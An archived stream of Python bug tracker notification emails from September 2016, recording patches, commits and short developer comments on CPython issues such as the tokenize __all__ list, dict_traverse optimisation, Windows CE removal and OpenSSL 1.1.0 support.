Message-ID: <1473100604.08.0.568464638408.issue27112@psf.upfronthosting.co.za>


Changes by Jacek Ko?odziej <kolodziejj at gmail.com>:


Added file: http://bugs.python.org/file44373/tokenize_all.v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27112>
_______________________________________

From report at bugs.python.org  Mon Sep  5 14:36:54 2016
From: report at bugs.python.org (=?utf-8?q?Jacek_Ko=C5=82odziej?=)
Date: Mon, 05 Sep 2016 18:36:54 +0000
Subject: [issue27112] tokenize.__all__ list is incomplete
In-Reply-To: <1464123395.58.0.823594635343.issue27112@psf.upfronthosting.co.za>
Message-ID: <1473100614.91.0.0187747230256.issue27112@psf.upfronthosting.co.za>


Jacek Ko?odziej added the comment:

> I would lean toward ensuring the test fails if someone adds a new implementation detail without an underscore prefix. It is also good to be explicit that the ISTERMINAL() etc functions are special cases.

Original patch meets these requirements. I've updated it with moving the test__all__ method to TestMisc class as suggested (tokenize_all.v2.patch).

I'm also attaching the alternative version (tokenize_all.v2.1.patch) that uses self.assertCountEqual instead of support.check__all__ and whitelisting as Serhiy suggested; this version of test doesn't meet the requirements above.

Yes, neither one challenge the tok_name (#25324) problem, I'm not really sure whether is should, though. I'll try to solve it with separate patch if I find some time.

----------
Added file: http://bugs.python.org/file44374/tokenize_all.v2.1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27112>
_______________________________________

From report at bugs.python.org  Mon Sep  5 14:44:49 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 18:44:49 +0000
Subject: [issue27830] Add _PyObject_FastCallKeywords(): avoid the creation of
 a temporary dictionary for keyword arguments
In-Reply-To: <1471905864.17.0.99232719056.issue27830@psf.upfronthosting.co.za>
Message-ID: <20160905184445.23567.7311.0661BC0C@psf.io>


Roundup Robot added the comment:

New changeset 119af59911a0 by Victor Stinner in branch 'default':
Issue #27830: Remove unused _PyStack_AsDict()
https://hg.python.org/cpython/rev/119af59911a0

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27830>
_______________________________________

From report at bugs.python.org  Mon Sep  5 15:02:13 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Mon, 05 Sep 2016 19:02:13 +0000
Subject: [issue27956] optimize dict_traverse a bit
Message-ID: <1473102133.16.0.696964293118.issue27956@psf.upfronthosting.co.za>


New submission from Benjamin Peterson:

dict_traverse shows up a lot on statistical profiles of Python programs. This is not surprising since Python programs have lots of dicts. There isn't a huge amount of room for optimization here, but we can avoid some memory indirection. This patch saves a few percent of time through this function in my measurements.

----------
components: Interpreter Core
files: traverse.patch
keywords: patch
messages: 274420
nosy: benjamin.peterson
priority: normal
severity: normal
status: open
title: optimize dict_traverse a bit
type: performance
versions: Python 3.6
Added file: http://bugs.python.org/file44375/traverse.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27956>
_______________________________________

From report at bugs.python.org  Mon Sep  5 15:11:48 2016
From: report at bugs.python.org (INADA Naoki)
Date: Mon, 05 Sep 2016 19:11:48 +0000
Subject: [issue27956] optimize dict_traverse a bit
In-Reply-To: <1473102133.16.0.696964293118.issue27956@psf.upfronthosting.co.za>
Message-ID: <1473102708.22.0.581121578181.issue27956@psf.upfronthosting.co.za>


INADA Naoki added the comment:

lgtm.
But http://bugs.python.org/issue27350 conflicts this.

----------
nosy: +methane

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27956>
_______________________________________

From report at bugs.python.org  Mon Sep  5 15:13:10 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Mon, 05 Sep 2016 19:13:10 +0000
Subject: [issue27956] optimize dict_traverse a bit
In-Reply-To: <1473102708.22.0.581121578181.issue27956@psf.upfronthosting.co.za>
Message-ID: <1473102787.522657.716428585.229FA271@webmail.messagingengine.com>


Benjamin Peterson added the comment:

Thank you for the review.

On Mon, Sep 5, 2016, at 12:11, INADA Naoki wrote:
> 
> INADA Naoki added the comment:
> 
> lgtm.
> But http://bugs.python.org/issue27350 conflicts this.
> 
> ----------
> nosy: +methane
> 
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue27956>
> _______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27956>
_______________________________________

From report at bugs.python.org  Mon Sep  5 15:13:25 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 19:13:25 +0000
Subject: [issue27956] optimize dict_traverse a bit
In-Reply-To: <1473102133.16.0.696964293118.issue27956@psf.upfronthosting.co.za>
Message-ID: <20160905191322.114868.77960.04041500@psf.io>


Roundup Robot added the comment:

New changeset 027e421594b7 by Benjamin Peterson in branch 'default':
remove memory indirections in dict_traverse (closes #27956)
https://hg.python.org/cpython/rev/027e421594b7

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27956>
_______________________________________

From report at bugs.python.org  Mon Sep  5 15:33:15 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 19:33:15 +0000
Subject: [issue27883] Update sqlite version for Windows build
In-Reply-To: <1472383089.76.0.501181258195.issue27883@psf.upfronthosting.co.za>
Message-ID: <20160905193311.69076.69684.94A7B834@psf.io>


Roundup Robot added the comment:

New changeset 792e7a8dddb8 by Zachary Ware in branch 'default':
Issue #27883: Update sqlite to 3.14.1 on Windows
https://hg.python.org/cpython/rev/792e7a8dddb8

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27883>
_______________________________________

From report at bugs.python.org  Mon Sep  5 15:36:04 2016
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 05 Sep 2016 19:36:04 +0000
Subject: [issue27883] Update sqlite version for Windows build
In-Reply-To: <1472383089.76.0.501181258195.issue27883@psf.upfronthosting.co.za>
Message-ID: <1473104164.93.0.0957963308174.issue27883@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Updated.  I don't know what extensions are or are not included, please open additional issue(s) if something should be added or removed.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27883>
_______________________________________

From report at bugs.python.org  Mon Sep  5 15:45:04 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 19:45:04 +0000
Subject: [issue27944] two hotshot module issues
In-Reply-To: <1472851267.13.0.573687433663.issue27944@psf.upfronthosting.co.za>
Message-ID: <20160905194501.47555.59921.B9F4DB38@psf.io>


Roundup Robot added the comment:

New changeset aefdfa167f4b by Benjamin Peterson in branch '2.7':
rewrite unpack_add_info, so it has less memory corruption bugs (closes #27944)
https://hg.python.org/cpython/rev/aefdfa167f4b

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27944>
_______________________________________

From report at bugs.python.org  Mon Sep  5 15:57:25 2016
From: report at bugs.python.org (Big Stone)
Date: Mon, 05 Sep 2016 19:57:25 +0000
Subject: [issue27883] Update sqlite version for Windows build
In-Reply-To: <1472383089.76.0.501181258195.issue27883@psf.upfronthosting.co.za>
Message-ID: <1473105445.79.0.531765302283.issue27883@psf.upfronthosting.co.za>


Big Stone added the comment:

thanks! I suppose I have to wait official python3.6b1 for windows to tell you what you included.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27883>
_______________________________________

From report at bugs.python.org  Mon Sep  5 16:19:11 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 05 Sep 2016 20:19:11 +0000
Subject: [issue19500] Add client-side SSL session resumption
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <1473106751.18.0.290340662896.issue19500@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


Added file: http://bugs.python.org/file44376/SSLSession-support-2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Mon Sep  5 16:22:58 2016
From: report at bugs.python.org (Armin Rigo)
Date: Mon, 05 Sep 2016 20:22:58 +0000
Subject: [issue27811] _PyGen_Finalize() should not fail with an exception
In-Reply-To: <1471685705.62.0.520066392301.issue27811@psf.upfronthosting.co.za>
Message-ID: <1473106978.03.0.366274846404.issue27811@psf.upfronthosting.co.za>


Armin Rigo added the comment:

You're welcome.  Unrelated, but I'm collecting similar issues in a file at http://bitbucket.org/pypy/extradoc/raw/extradoc/planning/py3.5/cpython-crashers.rst .  After reporting the first two, I stopped, and will report them all in bulk some time later, but you may be interested in fixing a couple more for the upcoming 3.6 release.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27811>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:00:31 2016
From: report at bugs.python.org (George London)
Date: Mon, 05 Sep 2016 21:00:31 +0000
Subject: [issue27957] minor typo in importlib docs
Message-ID: <1473109231.6.0.988528969997.issue27957@psf.upfronthosting.co.za>


New submission from George London:

An extra apostrophe made the grammar of a method description ambiguous. The attached patch removes the apostrophe.

----------
assignee: docs at python
components: Documentation
files: mywork.patch
keywords: patch
messages: 274429
nosy: docs at python, gjlondon
priority: normal
severity: normal
status: open
title: minor typo in importlib docs
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file44377/mywork.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27957>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:03:35 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 21:03:35 +0000
Subject: [issue27957] minor typo in importlib docs
In-Reply-To: <1473109231.6.0.988528969997.issue27957@psf.upfronthosting.co.za>
Message-ID: <20160905210331.6738.60112.A9A24EF2@psf.io>


Roundup Robot added the comment:

New changeset 33702360acef by Benjamin Peterson in branch '3.5':
remove ungrammarical apostrophe (closes #27957)
https://hg.python.org/cpython/rev/33702360acef

New changeset f8d9569900a9 by Benjamin Peterson in branch 'default':
merge 3.5 (#27957)
https://hg.python.org/cpython/rev/f8d9569900a9

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27957>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:06:05 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 21:06:05 +0000
Subject: [issue27756] Add pyd icon for 3.6
In-Reply-To: <1471119973.85.0.0311186784534.issue27756@psf.upfronthosting.co.za>
Message-ID: <20160905210602.8354.2122.8D0E2F23@psf.io>


Roundup Robot added the comment:

New changeset 29815771f2ac by Steve Dower in branch 'default':
Issue #27756: Adds new icons for Python files and processes on Windows. Designs by Cherry Wang.
https://hg.python.org/cpython/rev/29815771f2ac

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27756>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:10:18 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 05 Sep 2016 21:10:18 +0000
Subject: [issue27756] Add pyd icon for 3.6
In-Reply-To: <1471119973.85.0.0311186784534.issue27756@psf.upfronthosting.co.za>
Message-ID: <1473109818.75.0.639592615366.issue27756@psf.upfronthosting.co.za>


Steve Dower added the comment:

The new beautiful icons have been checked in!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27756>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:15:39 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 21:15:39 +0000
Subject: [issue27748] Simplify test_winsound
In-Reply-To: <1471021956.0.0.678344945934.issue27748@psf.upfronthosting.co.za>
Message-ID: <20160905211536.23567.35361.D4AC1D92@psf.io>


Roundup Robot added the comment:

New changeset 4c91651912d1 by Zachary Ware in branch '2.7':
Issue #27748: Simplify test_winsound.
https://hg.python.org/cpython/rev/4c91651912d1

New changeset 82467d0dbaea by Zachary Ware in branch '3.5':
Issue #27748: Simplify test_winsound.
https://hg.python.org/cpython/rev/82467d0dbaea

New changeset 27cbdd8cf67f by Zachary Ware in branch 'default':
Closes #27748: Merge with 3.5
https://hg.python.org/cpython/rev/27cbdd8cf67f

----------
nosy: +python-dev
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27748>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:22:58 2016
From: report at bugs.python.org (Larry Hastings)
Date: Mon, 05 Sep 2016 21:22:58 +0000
Subject: [issue27355] Strip out the last lingering vestiges of Windows CE
 support
In-Reply-To: <1466408180.27.0.0873204690606.issue27355@psf.upfronthosting.co.za>
Message-ID: <1473110578.7.0.437725098978.issue27355@psf.upfronthosting.co.za>


Larry Hastings added the comment:

Refreshed the patch.  With a Misc/NEWS entry I think it's ready for checkin.  WFM on Linux 64-bit with gcc; can I get people to try other platforms?

* os x (clang)
* win32
* win64

----------
Added file: http://bugs.python.org/file44378/larry.dont.wince.2.patch.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27355>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:32:12 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 21:32:12 +0000
Subject: [issue11620] winsound.PlaySound() with SND_MEMORY should accept bytes
 instead of strings
In-Reply-To: <1300667681.04.0.269037633009.issue11620@psf.upfronthosting.co.za>
Message-ID: <20160905213209.8656.92522.9E6313EB@psf.io>


Roundup Robot added the comment:

New changeset 8fa615a2a896 by Zachary Ware in branch 'default':
Closes #11620: Fix support for SND_MEMORY in winsound.PlaySound.
https://hg.python.org/cpython/rev/8fa615a2a896

----------
nosy: +python-dev
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11620>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:34:48 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 05 Sep 2016 21:34:48 +0000
Subject: [issue27355] Strip out the last lingering vestiges of Windows CE
 support
In-Reply-To: <1466408180.27.0.0873204690606.issue27355@psf.upfronthosting.co.za>
Message-ID: <1473111288.61.0.728545608123.issue27355@psf.upfronthosting.co.za>


Steve Dower added the comment:

I'm building on Windows now.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27355>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:35:45 2016
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 05 Sep 2016 21:35:45 +0000
Subject: [issue11620] winsound.PlaySound() with SND_MEMORY should accept bytes
 instead of strings
In-Reply-To: <1300667681.04.0.269037633009.issue11620@psf.upfronthosting.co.za>
Message-ID: <1473111345.31.0.888714516949.issue11620@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Thanks for the original patch, Tim!

After discussion with Steve, we figured it's best to keep this to 3.6.

----------
versions:  -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11620>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:38:15 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 21:38:15 +0000
Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0
In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za>
Message-ID: <20160905213812.6738.68262.00D281E1@psf.io>


Roundup Robot added the comment:

New changeset 5c75b315152b by Christian Heimes in branch '3.5':
Issue #26470: Port ssl and hashlib module to OpenSSL 1.1.0.
https://hg.python.org/cpython/rev/5c75b315152b

New changeset bc5ba11973f5 by Christian Heimes in branch 'default':
Issue #26470: Port ssl and hashlib module to OpenSSL 1.1.0.
https://hg.python.org/cpython/rev/bc5ba11973f5

New changeset 14b611ddaabe by Christian Heimes in branch '2.7':
Issue #26470: Port ssl and hashlib module to OpenSSL 1.1.0.
https://hg.python.org/cpython/rev/14b611ddaabe

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26470>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:41:52 2016
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 05 Sep 2016 21:41:52 +0000
Subject: [issue20366] SQLite FTS (full text search)
In-Reply-To: <1390487950.26.0.724740577433.issue20366@psf.upfronthosting.co.za>
Message-ID: <1473111712.74.0.0506992302832.issue20366@psf.upfronthosting.co.za>


Zachary Ware added the comment:

The Mac installer includes FTS in its SQLite build, so we should match it on Windows.  I just updated the SQLite version for Windows, so now's a good time to do this.

----------
resolution: wont fix -> 
stage: resolved -> needs patch
status: closed -> open
versions: +Python 3.6 -Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20366>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:51:12 2016
From: report at bugs.python.org (Mark Lawrence)
Date: Mon, 05 Sep 2016 21:51:12 +0000
Subject: [issue20366] SQLite FTS (full text search)
In-Reply-To: <1390487950.26.0.724740577433.issue20366@psf.upfronthosting.co.za>
Message-ID: <1473112272.71.0.683025888519.issue20366@psf.upfronthosting.co.za>


Changes by Mark Lawrence <breamoreboy at yahoo.co.uk>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20366>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:52:04 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 21:52:04 +0000
Subject: [issue27756] Add pyd icon for 3.6
In-Reply-To: <1471119973.85.0.0311186784534.issue27756@psf.upfronthosting.co.za>
Message-ID: <20160905215201.30758.59975.D9518EA6@psf.io>


Roundup Robot added the comment:

New changeset 386aa9738c6b by Steve Dower in branch 'default':
Issue #27756: Updates installer icons to be the console and launcher icon instead of the setup icon
https://hg.python.org/cpython/rev/386aa9738c6b

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27756>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:53:52 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 21:53:52 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <20160905215350.22447.22889.D76D45B2@psf.io>


Roundup Robot added the comment:

New changeset 635fd3912d4d by Eric Snow in branch 'default':
Issue #24254: Preserve class attribute definition order.
https://hg.python.org/cpython/rev/635fd3912d4d

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Mon Sep  5 17:55:07 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 21:55:07 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za>
Message-ID: <20160905215504.30521.3315.051BA8DE@psf.io>


Roundup Robot added the comment:

New changeset 74ce062a0397 by Christian Heimes in branch 'default':
Issue #27744: Add AF_ALG (Linux Kernel crypto) to socket module.
https://hg.python.org/cpython/rev/74ce062a0397

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:05:06 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 22:05:06 +0000
Subject: [issue27866] ssl: get list of enabled ciphers
In-Reply-To: <1472210954.34.0.734962882785.issue27866@psf.upfronthosting.co.za>
Message-ID: <20160905220503.115068.53183.90CF4A57@psf.io>


Roundup Robot added the comment:

New changeset ca8d7cb55a8e by Christian Heimes in branch 'default':
Issue #27866: Add SSLContext.get_ciphers() method to get a list of all enabled ciphers.
https://hg.python.org/cpython/rev/ca8d7cb55a8e

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27866>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:05:26 2016
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 05 Sep 2016 22:05:26 +0000
Subject: [issue27355] Strip out the last lingering vestiges of Windows CE
 support
In-Reply-To: <1466408180.27.0.0873204690606.issue27355@psf.upfronthosting.co.za>
Message-ID: <1473113126.26.0.61639311688.issue27355@psf.upfronthosting.co.za>


Zachary Ware added the comment:

LGTM on Win32, Win64, and OSX.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27355>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:07:09 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 22:07:09 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za>
Message-ID: <20160905220707.30591.67722.B96AD758@psf.io>


Roundup Robot added the comment:

New changeset 52404f9596b5 by Christian Heimes in branch 'default':
Issue #27744: correct comment and markup
https://hg.python.org/cpython/rev/52404f9596b5

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:09:13 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 05 Sep 2016 22:09:13 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1473113353.16.0.0284374962127.issue27928@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


Removed file: http://bugs.python.org/file44326/Add-hashlib.scrypt.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:09:19 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 05 Sep 2016 22:09:19 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1473113359.0.0.713714981589.issue27928@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


Removed file: http://bugs.python.org/file44344/Add-hashlib.scrypt-2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:09:25 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 05 Sep 2016 22:09:25 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1473113365.64.0.698030715615.issue27928@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


Removed file: http://bugs.python.org/file44351/Add-hashlib.scrypt-3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:11:45 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 22:11:45 +0000
Subject: [issue27355] Strip out the last lingering vestiges of Windows CE
 support
In-Reply-To: <1466408180.27.0.0873204690606.issue27355@psf.upfronthosting.co.za>
Message-ID: <20160905221142.68901.51764.35491C84@psf.io>


Roundup Robot added the comment:

New changeset 7a2eccee823b by Larry Hastings in branch 'default':
Issue #27355: Removed support for Windows CE.  It was never finished,
https://hg.python.org/cpython/rev/7a2eccee823b

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27355>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:12:16 2016
From: report at bugs.python.org (Larry Hastings)
Date: Mon, 05 Sep 2016 22:12:16 +0000
Subject: [issue27355] Strip out the last lingering vestiges of Windows CE
 support
In-Reply-To: <1466408180.27.0.0873204690606.issue27355@psf.upfronthosting.co.za>
Message-ID: <1473113536.29.0.799533298365.issue27355@psf.upfronthosting.co.za>


Larry Hastings added the comment:

Committed.  Bye bye Windows CE!

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27355>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:23:57 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 05 Sep 2016 22:23:57 +0000
Subject: [issue27958] 'zlib compression' not found in set(['RLE', 'ZLIB',
 None])
Message-ID: <1473114237.79.0.529553102589.issue27958@psf.upfronthosting.co.za>


New submission from Christian Heimes:

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%209.x%202.7/builds/1397/steps/test/logs/stdio fails:

======================================================================
FAIL: test_compression (test.test_ssl.ThreadedTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/2.7.koobs-freebsd9/build/Lib/test/test_ssl.py", line 2875, in test_compression
    self.assertIn(stats['compression'], { None, 'ZLIB', 'RLE' })
AssertionError: 'zlib compression' not found in set(['RLE', 'ZLIB', None])

It's probably fine to add 'zlib compression' to the list of accepted compression names.

----------
assignee: christian.heimes
components: Tests
messages: 274448
nosy: christian.heimes
priority: normal
severity: normal
stage: needs patch
status: open
title: 'zlib compression' not found in set(['RLE', 'ZLIB', None])
type: behavior
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27958>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:24:15 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 05 Sep 2016 22:24:15 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1473114255.36.0.706256247086.issue1602@psf.upfronthosting.co.za>


Steve Dower added the comment:

Updated patch. This implements everything we've been discussing on python-dev

----------
Added file: http://bugs.python.org/file44379/1602_3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:24:39 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 05 Sep 2016 22:24:39 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1473114279.71.0.103154323603.issue27928@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


Added file: http://bugs.python.org/file44380/hashlib.scrypt.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:24:55 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 22:24:55 +0000
Subject: [issue27748] Simplify test_winsound
In-Reply-To: <1471021956.0.0.678344945934.issue27748@psf.upfronthosting.co.za>
Message-ID: <20160905222452.68941.57093.9EFB98F7@psf.io>


Roundup Robot added the comment:

New changeset 6137d0ed0a15 by Zachary Ware in branch '2.7':
Issue #27748: strengthen test_alias_nofallback
https://hg.python.org/cpython/rev/6137d0ed0a15

New changeset f845e24d794e by Zachary Ware in branch '3.5':
Issue #27748: strengthen test_alias_nofallback
https://hg.python.org/cpython/rev/f845e24d794e

New changeset 5e8b865ffedd by Zachary Ware in branch 'default':
Issue #27748: Merge with 3.5
https://hg.python.org/cpython/rev/5e8b865ffedd

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27748>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:25:51 2016
From: report at bugs.python.org (Eric Snow)
Date: Mon, 05 Sep 2016 22:25:51 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473114351.12.0.509885705903.issue24254@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:33:09 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 05 Sep 2016 22:33:09 +0000
Subject: [issue25387] sound_msgbeep doesn't check the return value of
 MessageBeep
In-Reply-To: <1444696251.21.0.518539201505.issue25387@psf.upfronthosting.co.za>
Message-ID: <20160905223305.115068.2790.C405D2D8@psf.io>


Roundup Robot added the comment:

New changeset 4e5b3dc049cc by Zachary Ware in branch 'default':
Issue #25387: Check return value of winsound.MessageBeep
https://hg.python.org/cpython/rev/4e5b3dc049cc

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25387>
_______________________________________

From report at bugs.python.org  Mon Sep  5 18:34:01 2016
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 05 Sep 2016 22:34:01 +0000
Subject: [issue25387] sound_msgbeep doesn't check the return value of
 MessageBeep
In-Reply-To: <1444696251.21.0.518539201505.issue25387@psf.upfronthosting.co.za>
Message-ID: <1473114841.95.0.445350382525.issue25387@psf.upfronthosting.co.za>


Zachary Ware added the comment:

I decided not to backport.  If anyone else would like to, I won't stand in their way.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions:  -Python 2.7, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
